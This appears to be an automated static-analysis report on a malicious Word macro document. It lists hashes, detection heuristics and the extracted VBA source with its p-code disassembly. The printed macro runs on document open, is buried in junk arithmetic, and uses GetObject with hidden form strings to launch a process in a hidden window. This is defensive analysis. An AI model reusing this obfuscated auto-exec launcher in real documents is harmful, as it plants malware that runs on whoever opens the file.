Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d59d88ca8518754e…

MALICIOUS

Office (OLE)

157.5 KB Created: 2019-03-22 14:15:00 Authoring application: Microsoft Office Word First seen: 2022-06-20
MD5: 55aca5ac66e898942f3ffa5b105deb40 SHA-1: c38c00baeda6419d7edeeb488e69f6e512fb357e SHA-256: d59d88ca8518754e1cfb08161ff9327f4b14bd3af0d88324718b3e71b8cef219
190 Risk Score

Heuristics 7

  • ClamAV: Doc.Malware.Dsfj-6905985-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Dsfj-6905985-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set zZoAxAUk = GetObject(bwAAQQB.Tag + bwAAQQB.IQ1AGA1Q + bwAAQQB.Tag)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 16199 bytes
SHA-256: 3c3768ff515261390d874f9778d3cce12f31a4dc565f0687d7153dccdf906b7a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "McBABo"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "bwAAQQB"
Attribute VB_Base = "0{083E8E4F-7333-4DE3-975C-87E5BE09DE75}{965B932F-2E98-488C-948A-3A0C546735B2}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "FAUADQw"
Sub autoopen()
On Error Resume Next
   If YADACkA = VADxU_GD Then
   jBDB1XA = CVar(qXDokB)
   C1GwDAAD = (101205095 + Rnd(so__AB4 * _
Tan(708947359 / Chr(124755860 / CDbl(wQ1xBA) * L_xZ4DDX / CDbl(604135494)))) * 178624750 * _
Atn(556091245 / Oct(503255865) - 207074283 * Int(z_AAA1QB)) * (534873275 - Atn(RACDDA)))
   BXADoU = Int(zQBDBxQ - _
MAD_GAZ - 412497414 * Int(603344469))
End If
   If ic1AQxBx = LUAQDo Then
   LXXQDDUU = CVar(NQABwD)
   HcAAQAA = (289389406 + Rnd(jAAAUBXw * _
Tan(652224662 / Chr(31746141 / CDbl(XBADQA) * aAXBAAZ / CDbl(303441909)))) * 662885042 * _
Atn(25240853 / Oct(284925518) - 805380599 * Int(E_ABAAAc)) * (706170682 - Atn(zBZAAUX)))
   PDA_GA = Int(dAADGQA1 - _
z_AQBAcA - 257527050 * Int(9699502))
End If
Set zZoAxAUk = GetObject(bwAAQQB.Tag + bwAAQQB.IQ1AGA1Q + bwAAQQB.Tag)
   If oZGAD_ = YAQD4AA1 Then
   LcU1wDZ = CVar(HAkA1AGo)
   i4AQD1 = (79195545 + Rnd(rAAAo_A * _
Tan(158329816 / Chr(548353451 / CDbl(ikUZZC) * NACADXA / CDbl(991010880)))) * 392771888 * _
Atn(225583305 / Oct(609036624) - 996059843 * Int(wAQAAAX)) * (519478883 - Atn(VUQQoA)))
   wGAQoZ = Int(W_DCC_A - _
wCDxkw - 736633072 * Int(586596545))
End If
   If Uw1AQZA = V1A1AA Then
   FBAUCDAA = CVar(awUwUZ)
   L4UAQxX_ = (484367768 + Rnd(l4ADQD * _
Tan(679210699 / Chr(59517750 / CDbl(sB1BUAk) * uQ_oA_ / CDbl(269071862)))) * 51720181 * _
Atn(21031964 / Oct(21990879) - 509919029 * Int(cCcZBkCB)) * (720245876 - Atn(WDQUwk1A)))
   AAwUx4 = Int(iAUCc1 - _
vAcGAADB - 466987491 * Int(540598761))
End If
   If cAoZcA = J1ZQcADk Then
   EAUUUD = CVar(hAkAAAA)
   sQX1kA4 = (358197078 + Rnd(icAUABQ * _
Tan(153325382 / Chr(514242251 / CDbl(XQCQXA) * zDAZAw / CDbl(359149986)))) * 688224264 * _
Atn(692158750 / Oct(979567079) - 677187710 * Int(LxCABA)) * (380328198 - Atn(NQAUAAwQ)))
   rwQAoZc = Int(uBXBxDw - _
GAADAAAX - 855715159 * Int(407982257))
End If
zZoAxAUk.ShowWindow = 738293 - 738293
   If w411DAUx = O_1ZXACw Then
   JXBDQAA = CVar(OBwA4A)
   vU4D_Z = (87960523 + Rnd(loACoD * _
Tan(670751758 / Chr(14397286 / CDbl(oXZABUcD) * GUBQDA / CDbl(825014073)))) * 887450535 * _
Atn(242824506 / Oct(719087240) - 689504271 * Int(mQAGAUw)) * (547162149 - Atn(tADUBQU_)))
   iCxAB4AB = Int(tDAAQAUU - _
wQQUcAAG - 244463446 * Int(125662189))
End If
   If wAQG_Q = KxUDADk Then
   wDAA4ZU = CVar(mAAAAoUk)
   kCD_kDQ = (544439065 + Rnd(iAAADwX * _
Tan(523204940 / Chr(394316748 / CDbl(H4Qx_U_) * j1cZ4Q4o / CDbl(285257778)))) * 283448523 * _
Atn(65358154 / Oct(946572829) - 491506286 * Int(qGxGUG)) * (885913497 - Atn(BBDBAG)))
   VDUDCA = Int(f1wkA4A - _
KAGAAAAQ - 925752717 * Int(467445725))
End If
   If iBQwZXU = MxQxox_ Then
   UBAUQA = CVar(wAAUZCx)
   VZAxA4w = (106169124 + Rnd(VCAABUA * _
Tan(88096912 / Chr(722804815 / CDbl(CoAkA1Bc) * aA_4C4 / CDbl(248778481)))) * 238025100 * _
Atn(265996728 / Oct(12588907) - 602739977 * Int(D_QQAc)) * (465808297 - Atn(mADAcA)))
   UkABAA = Int(tAQB_D - _
fGG_QQxA - 193560848 * Int(204645670))
End If
GetObject(bwAAQQB.Tag + bwAAQQB.QoAcA_ + bwAAQQB.Tag). _
Create bwAAQQB.Tag + bwAAQQB.OUA1wDC + bwAAQQB.Tag + bwAAQQB.RAGC_QU + bwAAQQB.Tag + bwAAQQB.Tag + bwAAQQB.CAZQABBk + bwAAQQB.Tag + bwAAQQB.Tag + bwAAQQB.G1AAUAAA + bwAAQQB.Tag + bwAAQQB.AADA_A + bwAAQQB.Tag, X4AxQU, zZoAxAUk, bwAAQQB.Tag
   If r_UQQxAZ = aGA4cBAX Then
   tAAA1AoA = CVar(noAZAZc)
   GQGUAw = (594065071 + Rnd(jXA1AA * _
Tan(968045264 / Chr(217820119 / CDbl(NoAAcA) * SAX_BAC / CDbl(634970411)))) * 145153012 * _
Atn(215803281 / Oct(912496733) - 732460579 * Int(SAk14_QU)) * (521819068 - Atn(uQAcAG)))
   iwocXAD = Int(nA1BABQU - _
K_DCACAG - 275168643 * Int(642070966))
End If
   If i1wAAZQ = i_BAB4AA Then
   wCccU1xB = CVar(bQACQ4)
   ZCBo1A = (41005744 + Rnd(iB_1cUA * _
Tan(151551820 / Chr(574533489 / CDbl(bAAGAG) * hADC4w / CDbl(939252204)))) * 944028103 * _
Atn(153519466 / Oct(66962310) - 658516648 * Int(rAA1ZxQA)) * (662991846 - Atn(AUBAQoA4)))
   LAB4oDA_ = Int(vADUkA - _
jGcckAC - 889286349 * Int(651655782))
End If
End Sub


' Processing file: /opt/analyzer/scan_staging/726795c1e0d741f8932ab6d415c5fd60.bin
' ===============================================================================
' Module streams:
' Macros/VBA/McBABo - 1104 bytes
' Macros/VBA/bwAAQQB - 1158 bytes
' Macros/VBA/FAUADQw - 6992 bytes
' Line #0:
' 	FuncDefn (Sub FAUADQw())
' Line #1:
' 	OnError (Resume Next) 
' Line #2:
' 	Ld autoopen 
' 	Ld YADACkA 
' 	Eq 
' 	IfBlock 
' Line #3:
' 	Ld jBDB1XA 
' 	Coerce (Var) 
' 	St VADxU_GD 
' Line #4:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x4467 0x0608 
' 	Ld C1GwDAAD 
' 	LitDI4 0xAD9F 0x2A41 
' 	LitDI4 0x9F94 0x076F 
' 	Ld so__AB4 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld wQ1xBA 
' 	Mul 
' 	LitDI4 0x6046 0x2402 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x98EE 0x0AA5 
' 	Mul 
' 	LitDI4 0x476D 0x2125 
' 	LitDI4 0x1339 0x1DFF 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xB3EB 0x0C57 
' 	Ld L_xZ4DDX 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x84BB 0x1FE1 
' 	Ld z_AAA1QB 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St qXDokB 
' Line #5:
' 	LineCont 0x0004 06 00 00 00
' 	Ld BXADoU 
' 	Ld zQBDBxQ 
' 	Sub 
' 	LitDI4 0x3606 0x1896 
' 	LitDI4 0x4E55 0x23F6 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St RACDDA 
' Line #6:
' 	EndIfBlock 
' Line #7:
' 	Ld MAD_GAZ 
' 	Ld ic1AQxBx 
' 	Eq 
' 	IfBlock 
' Line #8:
' 	Ld LXXQDDUU 
' 	Coerce (Var) 
' 	St LUAQDo 
' Line #9:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xBB5E 0x113F 
' 	Ld HcAAQAA 
' 	LitDI4 0x2896 0x26E0 
' 	LitDI4 0x685D 0x01E4 
' 	Ld jAAAUBXw 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld XBADQA 
' 	Mul 
' 	LitDI4 0x27F5 0x1216 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xD2B2 0x2782 
' 	Mul 
' 	LitDI4 0x2515 0x0181 
' 	LitDI4 0x9E4E 0x10FB 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x21F7 0x3001 
' 	Ld aAXBAAZ 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x4F3A 0x2A17 
' 	Ld E_ABAAAc 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St NQABwD 
' Line #10:
' 	LineCont 0x0004 06 00 00 00
' 	Ld PDA_GA 
' 	Ld dAADGQA1 
' 	Sub 
' 	LitDI4 0x8D0A 0x0F59 
' 	LitDI4 0x00AE 0x0094 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St zBZAAUX 
' Line #11:
' 	EndIfBlock 
' Line #12:
' 	SetStmt 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Tag 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd zZoAxAUk 0x0001 
' 	Set z_AQBAcA 
' Line #13:
' 	Ld IQ1AGA1Q 
' 	Ld oZGAD_ 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	Ld LcU1wDZ 
' 	Coerce (Var) 
' 	St YAQD4AA1 
' Line #15:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x6D99 0x04B8 
' 	Ld i4AQD1 
' 	LitDI4 0xEBD8 0x096F 
' 	LitDI4 0x35AB 0x20AF 
' 	Ld rAAAo_A 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld ikUZZC 
' 	Mul 
' 	LitDI4 0xA040 0x3B11 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x3930 0x1769 
' 	Mul 
' 	LitDI4 0x20C9 0x0D72 
' 	LitDI4 0x2950 0x244D 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xAAC3 0x3B5E 
' 	Ld NACADXA 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x9E63 0x1EF6 
' 	Ld wAQAAAX 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St HAkA1AGo 
' Line #16:
' 	LineCont 0x0004 06 00 00 00
' 	Ld wGAQoZ 
' 	Ld W_DCC_A 
' 	Sub 
' 	LitDI4 0x20F0 0x2BE8 
' 	LitDI4 0xC0C1 0x22F6 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St VUQQoA 
' Line #17:
' 	EndIfBlock 
' Line #18:
' 	Ld wCDxkw 
' 	Ld Uw1AQZA 
' 	Eq 
' 	IfBlock 
' Line #19:
' 	Ld FBAUCDAA 
' 	Coerce (Var) 
' 	St V1A1AA 
' Line #20:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xDD98 0x1CDE 
' 	Ld L4UAQxX_ 
' 	LitDI4 0xEECB 0x287B 
' 	LitDI4 0x2B36 0x038C 
' 	Ld l4ADQD 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld sB1BUAk 
' 	Mul 
' 	LitDI4 0xB5F6 0x1009 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x2FF5 0x0315 
' 	Mul 
' 	LitDI4 0xEC1C 0x0140 
' 	LitDI4 0x8DDF 0x014F 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xBF35 0x1E64 
' 	Ld uQ_oA_ 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x1474 0x2AEE 
' 	Ld cCcZBkCB 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St awUwUZ 
' Line #21:
' 	LineCont 0x0004 06 00 00 00
' 	Ld AAwUx4 
' 	Ld iAUCc1 
' 	Sub 
' 	LitDI4 0xA9E3 0x1BD5 
' 	LitDI4 0xE1E9 0x2038 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St WDQUwk1A 
' Line #22:
' 	EndIfBlock 
' Line #23:
' 	Ld vAcGAADB 
' 	Ld cAoZcA 
' 	Eq 
' 	IfBlock 
' Line #24:
' 	Ld EAUUUD 
' 	Coerce (Var) 
' 	St J1ZQcADk 
' Line #25:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xA756 0x1559 
' 	Ld sQX1kA4 
' 	LitDI4 0x8F46 0x0923 
' 	LitDI4 0xB6CB 0x1EA6 
' 	Ld icAUABQ 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld XQCQXA 
' 	Mul 
' 	LitDI4 0x31A2 0x1568 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x7808 0x2905 
' 	Mul 
' 	LitDI4 0x811E 0x2941 
' 	LitDI4 0x01E7 0x3A63 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x107E 0x285D 
' 	Ld zDAZAw 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x5906 0x16AB 
' 	Ld LxCABA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St hAkAAAA 
' Line #26:
' 	LineCont 0x0004 06 00 00 00
' 	Ld rwQAoZc 
' 	Ld uBXBxDw 
' 	Sub 
' 	LitDI4 0x2D57 0x3301 
' 	LitDI4 0x50B1 0x1851 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St NQAUAAwQ 
' Line #27:
' 	EndIfBlock 
' Line #28:
' 	LitDI4 0x43F5 0x000B 
' 	LitDI4 0x43F5 0x000B 
' 	Sub 
' 	Ld z_AQBAcA 
' 	MemSt GAADAAAX 
' Line #29:
' 	Ld ShowWindow 
' 	Ld w411DAUx 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	Ld JXBDQAA 
' 	Coerce (Var) 
' 	St O_1ZXACw 
' Line #31:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x2BCB 0x053E 
' 	Ld vU4D_Z 
' 	LitDI4 0xDC0E 0x27FA 
' 	LitDI4 0xAF66 0x00DB 
' 	Ld loACoD 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld oXZABUcD 
' 	Mul 
' 	LitDI4 0xB739 0x312C 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x6BA7 0x34E5 
' 	Mul 
' 	LitDI4 0x353A 0x0E79 
' 	LitDI4 0x6688 0x2ADC 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x000F 0x2919 
' 	Ld GUBQDA 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x0825 0x209D 
' 	Ld mQAGAUw 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St OBwA4A 
' Line #32:
' 	LineCont 0x0004 06 00 00 00
' 	Ld iCxAB4AB 
' 	Ld tDAAQAUU 
' 	Sub 
' 	LitDI4 0x3756 0x0E92 
' 	LitDI4 0x73ED 0x077D 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St tADUBQU_ 
' Line #33:
' 	EndIfBlock 
' Line #34:
' 	Ld wQQUcAAG 
' 	Ld wAQG_Q 
' 	Eq 
' 	IfBlock 
' Line #35:
' 	Ld wDAA4ZU 
' 	Coerce (Var) 
' 	St KxUDADk 
' Line #36:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x7B19 0x2073 
' 	Ld kCD_kDQ 
' 	LitDI4 0x794C 0x1F2F 
' 	LitDI4 0xCBCC 0x1780 
' 	Ld iAAADwX 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld H4Qx_U_ 
' 	Mul 
' 	LitDI4 0xB032 0x1100 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0x14CB 0x10E5 
' 	Mul 
' 	LitDI4 0x494A 0x03E5 
' 	LitDI4 0x8E1D 0x386B 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0xCA6E 0x1D4B 
' 	Ld j1cZ4Q4o 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xF799 0x34CD 
' 	Ld qGxGUG 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St mAAAAoUk 
' Line #37:
' 	LineCont 0x0004 06 00 00 00
' 	Ld VDUDCA 
' 	Ld f1wkA4A 
' 	Sub 
' 	LitDI4 0xDD8D 0x372D 
' 	LitDI4 0xA7DD 0x1BDC 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St BBDBAG 
' Line #38:
' 	EndIfBlock 
' Line #39:
' 	Ld KAGAAAAQ 
' 	Ld iBQwZXU 
' 	Eq 
' 	IfBlock 
' Line #40:
' 	Ld UBAUQA 
' 	Coerce (Var) 
' 	St MxQxox_ 
' Line #41:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0x0324 0x0654 
' 	Ld VZAxA4w 
' 	LitDI4 0x4090 0x0540 
' 	LitDI4 0x204F 0x2B15 
' 	Ld VCAABUA 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld CoAkA1Bc 
' 	Mul 
' 	LitDI4 0x0EF1 0x0ED4 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xF98C 0x0E2F 
' 	Mul 
' 	LitDI4 0xC9B8 0x0FDA 
' 	LitDI4 0x176B 0x00C0 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x1509 0x23ED 
' 	Ld aA_4C4 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0xABA9 0x1BC3 
' 	Ld D_QQAc 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St wAAUZCx 
' Line #42:
' 	LineCont 0x0004 06 00 00 00
' 	Ld UkABAA 
' 	Ld tAQB_D 
' 	Sub 
' 	LitDI4 0x8110 0x0B89 
' 	LitDI4 0xA526 0x0C32 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St mADAcA 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	LineCont 0x0004 0F 00 00 00
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd Create 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd OUA1wDC 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd RAGC_QU 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd CAZQABBk 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld MSForms 
' 	MemLd G1AAUAAA 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	Ld AADA_A 
' 	Ld z_AQBAcA 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd fGG_QQxA 
' 	Add 
' 	Ld MSForms 
' 	MemLd GetObject 
' 	Add 
' 	ArgsLd zZoAxAUk 0x0001 
' 	ArgsMemCall QoAcA_ 0x0004 
' Line #45:
' 	Ld X4AxQU 
' 	Ld r_UQQxAZ 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	Ld tAAA1AoA 
' 	Coerce (Var) 
' 	St aGA4cBAX 
' Line #47:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xB6AF 0x2368 
' 	Ld GQGUAw 
' 	LitDI4 0x32D0 0x39B3 
' 	LitDI4 0xABD7 0x0CFB 
' 	Ld jXA1AA 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld NoAAcA 
' 	Mul 
' 	LitDI4 0xE12B 0x25D8 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xDBF4 0x08A6 
' 	Mul 
' 	LitDI4 0xE591 0x0CDC 
' 	LitDI4 0x985D 0x3663 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x7623 0x2BA8 
' 	Ld SAX_BAC 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x53BC 0x1F1A 
' 	Ld SAk14_QU 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St noAZAZc 
' Line #48:
' 	LineCont 0x0004 06 00 00 00
' 	Ld iwocXAD 
' 	Ld nA1BABQU 
' 	Sub 
' 	LitDI4 0xBD83 0x1066 
' 	LitDI4 0x39B6 0x2645 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St uQAcAG 
' Line #49:
' 	EndIfBlock 
' Line #50:
' 	Ld K_DCACAG 
' 	Ld i1wAAZQ 
' 	Eq 
' 	IfBlock 
' Line #51:
' 	Ld wCccU1xB 
' 	Coerce (Var) 
' 	St i_BAB4AA 
' Line #52:
' 	LineCont 0x0008 09 00 00 00 22 00 00 00
' 	LitDI4 0xB2B0 0x0271 
' 	Ld ZCBo1A 
' 	LitDI4 0x7F4C 0x0908 
' 	LitDI4 0xAF71 0x223E 
' 	Ld iB_1cUA 
' 	Coerce (Dbl) 
' 	Div 
' 	Ld bAAGAG 
' 	Mul 
' 	LitDI4 0xD9EC 0x37FB 
' 	Coerce (Dbl) 
' 	Div 
' 	ArgsLd Chr 0x0001 
' 	Div 
' 	ArgsLd Tan 0x0001 
' 	Mul 
' 	ArgsLd Rnd 0x0001 
' 	LitDI4 0xB9C7 0x3844 
' 	Mul 
' 	LitDI4 0x856A 0x0926 
' 	LitDI4 0xC386 0x03FD 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	LitDI4 0x2AA8 0x2740 
' 	Ld hADC4w 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	ArgsLd Atn 0x0001 
' 	Mul 
' 	LitDI4 0x73E6 0x2784 
' 	Ld rAA1ZxQA 
' 	ArgsLd Atn 0x0001 
' 	Sub 
' 	Paren 
' 	Mul 
' 	Add 
' 	Paren 
' 	St bQACQ4 
' Line #53:
' 	LineCont 0x0004 06 00 00 00
' 	Ld LAB4oDA_ 
' 	Ld vADUkA 
' 	Sub 
' 	LitDI4 0x6ECD 0x3501 
' 	LitDI4 0x7A66 0x26D7 
' 	FnInt 
' 	Mul 
' 	Sub 
' 	FnInt 
' 	St AUBAQoA4 
' Line #54:
' 	EndIfBlock 
' Line #55:
' 	EndSub 
' Line #56:

Open this report in the interactive analyzer, or submit your own file for analysis.